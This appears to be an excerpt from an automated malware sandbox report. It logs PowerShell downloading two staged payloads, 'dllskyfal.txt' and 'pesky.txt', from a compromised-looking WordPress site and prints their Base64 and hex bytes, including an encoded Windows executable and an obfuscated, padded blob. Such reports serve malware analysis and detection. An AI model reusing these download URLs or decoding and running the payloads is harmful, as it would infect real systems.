==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7AMAAAADAAAwAAAAAAAAAAAAAoQD+kHbi1WZzNXYvwjCNoQD+0SLgAiCN4Tej5WZk5WZwVGZvwDIgoQD+kHbi1WZzNXQ05WZk5WZwVGZvwDIgACIK0gPvACIgACIgACIK0gIqISPldWY1dmbhxGIgACIgACIgACIK0gImRWMmN2Y0QTM0YjY1kTN2ISPuV2avRVelt0YpxmY1BHIgACIgACIgACIK0gIqISPlJXd0NWZ0lGajJXQy92czV2YvJHcgACIgACIgACIgoQDiAjLw4CMuYjI942bpNnclZ
Sep 26, 2024 10:58:04.406929970 CEST	1236	IN	Data Raw: 48 49 67 41 43 49 67 41 43 49 67 41 43 49 4b 30 67 49 7a 78 32 62 79 52 6e 62 76 4e 55 4c 75 39 57 62 74 39 32 51 75 4d 33 64 76 52 6d 62 70 64 6c 4c 30 5a 32 62 7a 39 6d 63 6a 6c 57 54 69 30 54 5a 74 46 6d 62 67 41 43 49 67 41 43 49 67 41 43 49 Data Ascii: HIgACIgACIgACIK0gIzx2byRnbvNULu9Wbt92QuM3dvRmbpdlL0Z2bz9mcjlWTi0TZtFmbgACIgACIgACIgoQDiIzMul2di0TZwlHdgACIgACIgACIgoQD5RXa05WZklUesJWblN3chxDIgACIgAiCN4TesJWblN3cBRnblRmblBXZkxDIgACIK0gP5NmblRmblBXZkxDIgoQDt0SI8ACIK0gPt0CIpIXZ0FGbgQmbhBCUYByc3
Sep 26, 2024 10:58:04.406980991 CEST	1236	IN	Data Raw: 53 5a 79 46 32 64 68 31 53 53 51 52 45 49 35 78 47 62 68 4e 57 61 30 46 57 62 76 52 58 64 68 42 53 5a 79 46 47 49 7a 35 32 62 70 52 58 59 6a 6c 47 62 77 42 58 59 67 6b 69 52 51 64 46 4b 67 34 32 62 70 52 58 59 6b 35 57 64 76 5a 45 49 75 39 57 61 Data Ascii: SZyF2dh1SSQREI5xGbhNWa0FWbvRXdhBSZyFGIz52bpRXYjlGbwBXYgkiRQdFKg42bpRXYk5WdvZEIu9Wa0FGduV2clJHUgM3dvRmbpdFIuMXSQREIgACIgACIK0gclh2ZphGI0FGIzd3bk5WaXBSeiBCZlxWYjNHI5xGbhNWa0FWbvRXdhBSZiBCdv5GIsxWa3BCZuFGIlJXY3FWLJBFRgMXag42bpRXYjlGbwBXYgUGa0BCdh
Sep 26, 2024 10:58:04.407016039 CEST	1236	IN	Data Raw: 51 44 75 39 47 49 6b 56 47 64 7a 56 47 64 67 34 57 5a 6c 4a 47 49 7a 46 47 61 67 34 32 62 70 52 58 59 6a 6c 47 62 77 42 58 59 67 4d 58 61 6f 52 48 49 30 46 47 61 30 42 79 63 75 39 57 61 7a 4a 58 5a 32 42 79 63 33 39 47 5a 75 6c 32 56 67 55 47 61 Data Ascii: QDu9GIkVGdzVGdg4WZlJGIzFGag42bpRXYjlGbwBXYgMXaoRHI0FGa0Bycu9WazJXZ2Byc39GZul2VgUGa0BiZvBCdzlGbgEEIt0SI8ACIgACIgoQD+42bpRXYjlGbwBXY8ACIgAiCN4jIxYnL5RXaslmYpRXYw12bjpTbvNWL0Z2bz9mcjlWbtMXYtVGajNnOuJXdi0zcuxWb4BSe0lGbpJWa0FGct92Y8ACIK0gCN4zbm5WS0
Sep 26, 2024 10:58:04.407068014 CEST	1236	IN	Data Raw: 43 41 41 41 41 41 41 55 47 41 34 42 51 5a 41 34 43 41 30 42 67 62 41 55 47 41 70 42 41 62 41 4d 45 41 41 41 51 5a 41 30 47 41 68 42 67 54 41 77 47 41 68 42 67 62 41 49 48 41 6c 42 41 64 41 34 47 41 4a 42 51 41 41 73 41 41 32 41 41 41 41 41 44 41 Data Ascii: CAAAAAAUGA4BQZA4CA0BgbAUGApBAbAMEAAAQZA0GAhBgTAwGAhBgbAIHAlBAdA4GAJBQAAsAA2AAAAADAuAwNA4CAwAgLAEDAAAAAA4GAvBQaAMHAyBQZAYFAlBAbAkGAGBQAAgAAwAAAAAAAAAAAA4GAvBQaAQHAwBQaAIHAjBwcAUGAEBQZAwGApBgRAEAABAgKAAAAAAAAAAAAlBQbAEGAOBQeA4GAhBAcA0GAvBwQAEAAB
Sep 26, 2024 10:58:04.407118082 CEST	1236	IN	Data Raw: 59 45 4f 45 41 42 67 30 51 33 42 4b 52 42 64 49 77 42 48 77 51 42 64 45 41 41 46 55 69 67 52 77 58 45 43 63 77 42 4f 30 51 41 41 51 67 43 4e 45 41 41 45 55 69 67 52 6f 51 41 41 59 41 44 4b 45 41 41 45 30 67 43 42 41 41 42 4f 6f 51 41 41 51 67 43 Data Ascii: YEOEABg0Q3BKRBdIwBHwQBdEAAFUigRwXECcwBO0QAAQgCNEAAEUigRoQAAYADKEAAE0gCBAABOoQAAQgCKEAAEUigRsQAAYADLEAAE0wCBAABOsQAAQgCLEAAEwXEBcABFEQAgQACF0RBIQwBHgnE4JRAlFYEV4ACIUwBOgnEBcABIAwEBASBIgQBdMwBGwhDOIAAFUACF0RZSQwBIggACcABIgQiCKBCJKoEBUAAMUQHF0RBd
Sep 26, 2024 10:58:04.407151937 CEST	1236	IN	Data Raw: 59 67 52 6b 58 67 53 45 41 41 49 6b 58 67 53 77 52 41 41 59 67 44 35 46 6f 45 42 41 69 42 46 30 52 64 42 4b 52 41 67 63 51 63 42 4b 42 41 41 55 41 48 42 63 77 41 41 4d 68 41 42 41 53 42 41 4d 42 41 67 51 41 65 53 45 51 5a 42 47 52 46 48 41 77 45 Data Ascii: YgRkXgSEAAIkXgSwRAAYgD5FoEBAiBF0RdBKRAgcQcBKBAAUAHBcwAAMhABASBAMBAgQAeSEQZBGRFHAwEBUWgRUBAgkAeSEgCEAgHB0WgSUBAeEQGSURABABEAMRABASB4JRAZIRFGUQHCgnE4JRAlFYEV4AeSQwBOgACF0RADAyBdFYEIIgAgcgAQwRACAgBF0BCVFoEF0hAcYwBMwRABACBRFoEBEAIGgACF0BCDAyBIUQHI
Sep 26, 2024 10:58:04.407186031 CEST	1236	IN	Data Raw: 41 49 46 34 41 43 42 41 43 42 30 4a 68 42 44 77 58 45 47 4d 41 43 41 67 79 41 49 67 6e 45 42 67 53 42 49 41 41 49 44 67 41 65 53 45 41 49 46 30 41 65 53 45 41 49 46 6f 41 65 53 45 41 49 46 34 41 65 53 45 41 49 46 67 6e 45 41 41 43 42 34 4a 52 41 Data Ascii: AIF4ACBACB0JhBDwXEGMACAgyAIgnEBgSBIAAIDgAeSEAIF0AeSEAIFoAeSEAIF4AeSEAIFgnEAACB4JRAZIRF4JRACAyC4JhBDwBAoMgAAAyAcAAIDgnEBkhEVEQAgkQDF0RAAUgBF0RAAUACF0RAAUgCF0RAAUQBdUQHBAgBF0hDBAQBxJhBDUQHF0hACAyBF0RBdEAIG4gDBACBOEQAgQAAAAAEEAAAAAEBAAAAgQgDF0RAA
Sep 26, 2024 10:58:04.407217979 CEST	1236	IN	Data Raw: 48 41 6c 42 41 4c 41 59 44 41 78 41 41 64 41 67 48 41 6c 42 41 4c 41 67 44 41 30 42 41 65 41 55 47 41 6f 55 45 41 41 45 44 41 6a 42 41 4a 41 41 43 41 6c 42 41 63 41 6b 48 41 30 42 41 49 41 6b 43 41 6b 42 51 5a 41 4d 48 41 31 42 41 49 41 49 48 41 Data Ascii: HAlBALAYDAxAAdAgHAlBALAgDA0BAeAUGAoUEAAEDAjBAJAACAlBAcAkHA0BAIAkCAkBQZAMHA1BAIAIHAlBgdAUGAuBAKrAAAgAQfAIDAYBgOAADA79AAAACA9BwMAQEA6AAMAs3DAAgbAUHAoBwYA4GAhBAZAEHA3BQcAkHACBAdAEGASBwYAQ0IAAgLAkCADBQQA0EAoAAIAUGAkBwbAMGAgAgbA8GApBAdAEGAjBQaAQHAu
Sep 26, 2024 10:58:04.407253027 CEST	1236	IN	Data Raw: 51 5a 41 6b 47 41 73 42 77 51 56 41 41 41 45 42 51 53 41 63 46 41 49 42 41 49 41 49 48 41 79 42 51 52 52 41 41 41 79 41 41 65 46 41 41 41 6c 42 51 62 41 45 47 41 4f 42 51 65 41 77 47 41 6b 42 67 62 41 55 47 41 70 42 67 63 41 59 55 47 42 41 51 66 Data Ascii: QZAkGAsBwQVAAAEBQSAcFAIBAIAIHAyBQRRAAAyAAeFAAAlBQbAEGAOBQeAwGAkBgbAUGApBgcAYUGBAQfAEDA1AAOAIEACBANAADAwAQQAEEAwAAMA0CA1AwMAEDA4AQLAUEADBQMAEDAtAgQAMEAyAANA0CAwAAMAEEAyAwNAIDA1AQNAsXTBAQfAYDA4AQRAMEAxAQMAkDADBAMAEEAwAAMA0CACBwMAQEACBQLAADAkBQMA
Sep 26, 2024 10:58:04.412096024 CEST	1236	IN	Data Raw: 47 41 4f 42 77 4d 41 51 47 41 32 42 67 55 41 30 47 41 69 42 41 63 41 51 47 41 47 42 41 57 41 41 44 41 61 42 67 4d 41 49 47 41 36 42 51 4f 41 30 47 41 6a 42 67 61 41 77 47 41 58 42 41 56 41 4d 47 41 57 42 77 61 41 55 46 41 43 42 41 5a 41 59 45 41 Data Ascii: GAOBwMAQGA2BgUA0GAiBAcAQGAGBAWAADAaBgMAIGA6BQOA0GAjBgaAwGAXBAVAMGAWBwaAUFACBAZAYEAWBwRAkDAwAQVBCYAAQHApBAeAUGAgAgJAACAnAgITEAAiAwJAACAyBAdA8CAgAgIRAAAiMAAAcGA0AwRAQGA2BQQAMEAkBgeAYFAHBQYA4GAsBwRAEGAnBwdA0GAjBgdAEEApBgYAYHAkBgMAIGAzBQNAIDAiBwZA

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Sep 26, 2024 10:58:02.723344088 CEST	15.235.85.194	443	192.168.2.5	49719	CN=informacionoportuna.com CN=R11, O=Let's Encrypt, C=US	CN=R11, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US	Sat Sep 21 02:27:28 CEST 2024 Wed Mar 13 01:00:00 CET 2024	Fri Dec 20 01:27:27 CET 2024 Sat Mar 13 00:59:59 CET 2027	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	3b5074b1b5d032e5620f69f9f700ff0e
Sep 26, 2024 10:58:02.723344088 CEST	15.235.85.194	443	192.168.2.5	49719	CN=R11, O=Let's Encrypt, C=US	CN=ISRG Root X1, O=Internet Security Research Group, C=US	Wed Mar 13 01:00:00 CET 2024	Sat Mar 13 00:59:59 CET 2027		3b5074b1b5d032e5620f69f9f700ff0e

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	15.235.85.194	443	6644	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 08:57:01 UTC	117	OUT	GET /wp-content/uploads/2024/09/dllskyfal.txt HTTP/1.1 Host: www.informacionoportuna.com Connection: Keep-Alive
2024-09-26 08:57:01 UTC	211	IN	HTTP/1.1 200 OK Connection: close content-type: text/plain last-modified: Mon, 16 Sep 2024 03:18:42 GMT accept-ranges: bytes content-length: 11608 date: Thu, 26 Sep 2024 08:57:01 GMT server: LiteSpeed
2024-09-26 08:57:01 UTC	1157	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 4c 6d 64 35 32 59 41 41 41 41 41 41 41 41 41 41 4f 41 41 49 69 41 4c 41 56 41 41 41 42 6f 41 41 41 41 47 41 41 41 41 41 41 41 41 6a 6a 67 41 41 41 41 67 41 41 41 41 41 41 41 41 41 41 41 41 45 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDALmd52YAAAAAAAAAAOAAIiALAVAAABoAAAAGAAAAAAAAjjgAAAAgAAAAAAAAAAAAEAAgAAAAAgA
2024-09-26 08:57:01 UTC	10451	IN	Data Raw: 77 49 41 41 41 72 2b 41 52 4d 4d 45 51 77 35 41 67 45 41 41 41 41 62 6a 51 59 41 41 41 45 6c 46 6e 4a 52 41 41 42 77 6f 69 55 58 42 4b 49 6c 47 48 49 4f 41 51 42 77 6f 69 55 5a 4b 41 6f 41 41 41 71 69 4a 52 70 79 64 41 45 41 63 4b 49 6f 43 77 41 41 43 68 4d 4e 4b 41 6f 41 41 41 70 79 33 67 45 41 63 43 67 4d 41 41 41 4b 45 51 30 6f 44 51 41 41 43 67 42 79 37 67 45 41 63 43 67 4b 41 41 41 4b 63 74 34 42 41 48 41 6f 44 67 41 41 43 68 59 57 46 53 67 50 41 41 41 4b 4a 68 75 4e 42 67 41 41 41 53 55 57 63 6f 6b 43 41 48 43 69 4a 52 63 44 6f 69 55 59 63 72 38 43 41 48 43 69 4a 52 6b 6f 43 67 41 41 43 71 49 6c 47 6e 4c 68 41 67 42 77 6f 69 67 4c 41 41 41 4b 46 68 59 56 4b 41 38 41 41 41 6f 6d 63 75 55 43 41 48 41 54 44 68 75 4e 42 67 41 41 41 53 55 57 45 51 36 69 Data Ascii: wIAAAr+ARMMEQw5AgEAAAAbjQYAAAElFnJRAABwoiUXBKIlGHIOAQBwoiUZKAoAAAqiJRpydAEAcKIoCwAAChMNKAoAAApy3gEAcCgMAAAKEQ0oDQAACgBy7gEAcCgKAAAKct4BAHAoDgAAChYWFSgPAAAKJhuNBgAAASUWcokCAHCiJRcDoiUYcr8CAHCiJRkoCgAACqIlGnLhAgBwoigLAAAKFhYVKA8AAAomcuUCAHATDhuNBgAAASUWEQ6i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	15.235.85.194	443	6644	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 08:57:02 UTC	89	OUT	GET /wp-content/uploads/2024/09/pesky.txt HTTP/1.1 Host: www.informacionoportuna.com
2024-09-26 08:57:02 UTC	211	IN	HTTP/1.1 200 OK Connection: close content-type: text/plain last-modified: Mon, 16 Sep 2024 02:52:42 GMT accept-ranges: bytes content-length: 57008 date: Thu, 26 Sep 2024 08:57:02 GMT server: LiteSpeed
2024-09-26 08:57:02 UTC	1157	IN	Data Raw: e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 Data Ascii:
2024-09-26 08:57:02 UTC	14994	IN	Data Raw: 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 Data Ascii:
2024-09-26 08:57:02 UTC	16384	IN	Data Raw: 5a 53 52 57 5a 77 6c 48 56 35 78 32 5a 75 39 6d 63 30 4e 6c 4c 7a 78 32 62 76 52 6c 4c 7a 56 32 59 79 56 33 62 7a 56 6d 55 75 30 57 5a 30 4e 58 65 54 4e 44 e3 81 82 e3 81 82 e3 81 82 42 45 45 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 6a 4c 77 34 43 4d 75 45 54 4d 49 55 47 64 68 78 47 63 74 56 47 56 35 31 6b 43 e3 81 82 e3 81 82 e3 81 82 45 e3 81 82 e3 81 82 e3 81 82 47 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 51 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 45 e3 81 82 e3 81 82 e3 81 82 43 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 Data Ascii: ZSRWZwlHV5x2Zu9mc0NlLzx2bvRlLzV2YyV3bzVmUu0WZ0NXeTNDBEEjLw4CMuETMIUGdhxGctVGV51kCEGQEC
2024-09-26 08:57:02 UTC	16384	IN	Data Raw: e3 81 82 e3 81 82 67 67 45 e3 81 82 e3 81 82 e3 81 82 4d e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 6f e3 81 82 e3 81 82 e3 81 82 70 e3 81 82 e3 81 82 e3 81 82 49 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 6f e3 81 82 e3 81 82 e3 81 82 6e e3 81 82 e3 81 82 e3 81 82 45 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 73 e3 81 82 e3 81 82 e3 81 82 51 e3 81 82 e3 81 82 e3 81 82 49 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 45 77 35 e3 81 82 e3 81 82 e3 81 82 45 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 73 e3 81 82 e3 81 82 e3 81 82 51 e3 81 82 e3 81 82 e3 81 82 49 e3 81 82 e3 Data Ascii: ggEMopIonEsQIEw5EsQI
2024-09-26 08:57:02 UTC	8089	IN	Data Raw: 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 77 51 e3 81 82 e3 81 82 e3 81 82 51 e3 81 82 e3 81 82 e3 81 82 4d 54 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 71 6f e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 4d 42 4b 43 34 68 4b 47 6f 67 42 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 51 44 6f e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 4c 57 45 77 4b 58 45 42 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 63 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 67 44 e3 81 82 e3 81 82 e3 81 82 45 e3 81 82 e3 81 82 e3 81 82 4d 54 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 Data Ascii: wQQMTqoMBKC4hKGogBQDoLWEwKXEBcgDEMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49716	15.235.85.194	443	7896	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 08:57:22 UTC	117	OUT	GET /wp-content/uploads/2024/09/dllskyfal.txt HTTP/1.1 Host: www.informacionoportuna.com Connection: Keep-Alive
2024-09-26 08:57:22 UTC	211	IN	HTTP/1.1 200 OK Connection: close content-type: text/plain last-modified: Mon, 16 Sep 2024 03:18:42 GMT accept-ranges: bytes content-length: 11608 date: Thu, 26 Sep 2024 08:57:22 GMT server: LiteSpeed
2024-09-26 08:57:22 UTC	1157	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 4c 6d 64 35 32 59 41 41 41 41 41 41 41 41 41 41 4f 41 41 49 69 41 4c 41 56 41 41 41 42 6f 41 41 41 41 47 41 41 41 41 41 41 41 41 6a 6a 67 41 41 41 41 67 41 41 41 41 41 41 41 41 41 41 41 41 45 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDALmd52YAAAAAAAAAAOAAIiALAVAAABoAAAAGAAAAAAAAjjgAAAAgAAAAAAAAAAAAEAAgAAAAAgA
2024-09-26 08:57:22 UTC	10451	IN	Data Raw: 77 49 41 41 41 72 2b 41 52 4d 4d 45 51 77 35 41 67 45 41 41 41 41 62 6a 51 59 41 41 41 45 6c 46 6e 4a 52 41 41 42 77 6f 69 55 58 42 4b 49 6c 47 48 49 4f 41 51 42 77 6f 69 55 5a 4b 41 6f 41 41 41 71 69 4a 52 70 79 64 41 45 41 63 4b 49 6f 43 77 41 41 43 68 4d 4e 4b 41 6f 41 41 41 70 79 33 67 45 41 63 43 67 4d 41 41 41 4b 45 51 30 6f 44 51 41 41 43 67 42 79 37 67 45 41 63 43 67 4b 41 41 41 4b 63 74 34 42 41 48 41 6f 44 67 41 41 43 68 59 57 46 53 67 50 41 41 41 4b 4a 68 75 4e 42 67 41 41 41 53 55 57 63 6f 6b 43 41 48 43 69 4a 52 63 44 6f 69 55 59 63 72 38 43 41 48 43 69 4a 52 6b 6f 43 67 41 41 43 71 49 6c 47 6e 4c 68 41 67 42 77 6f 69 67 4c 41 41 41 4b 46 68 59 56 4b 41 38 41 41 41 6f 6d 63 75 55 43 41 48 41 54 44 68 75 4e 42 67 41 41 41 53 55 57 45 51 36 69 Data Ascii: wIAAAr+ARMMEQw5AgEAAAAbjQYAAAElFnJRAABwoiUXBKIlGHIOAQBwoiUZKAoAAAqiJRpydAEAcKIoCwAAChMNKAoAAApy3gEAcCgMAAAKEQ0oDQAACgBy7gEAcCgKAAAKct4BAHAoDgAAChYWFSgPAAAKJhuNBgAAASUWcokCAHCiJRcDoiUYcr8CAHCiJRkoCgAACqIlGnLhAgBwoigLAAAKFhYVKA8AAAomcuUCAHATDhuNBgAAASUWEQ6i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49717	15.235.85.194	443	7896	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 08:57:23 UTC	89	OUT	GET /wp-content/uploads/2024/09/pesky.txt HTTP/1.1 Host: www.informacionoportuna.com
2024-09-26 08:57:23 UTC	211	IN	HTTP/1.1 200 OK Connection: close content-type: text/plain last-modified: Mon, 16 Sep 2024 02:52:42 GMT accept-ranges: bytes content-length: 57008 date: Thu, 26 Sep 2024 08:57:23 GMT server: LiteSpeed
2024-09-26 08:57:23 UTC	1157	IN	Data Raw: e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 Data Ascii:
2024-09-26 08:57:23 UTC	14994	IN	Data Raw: 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 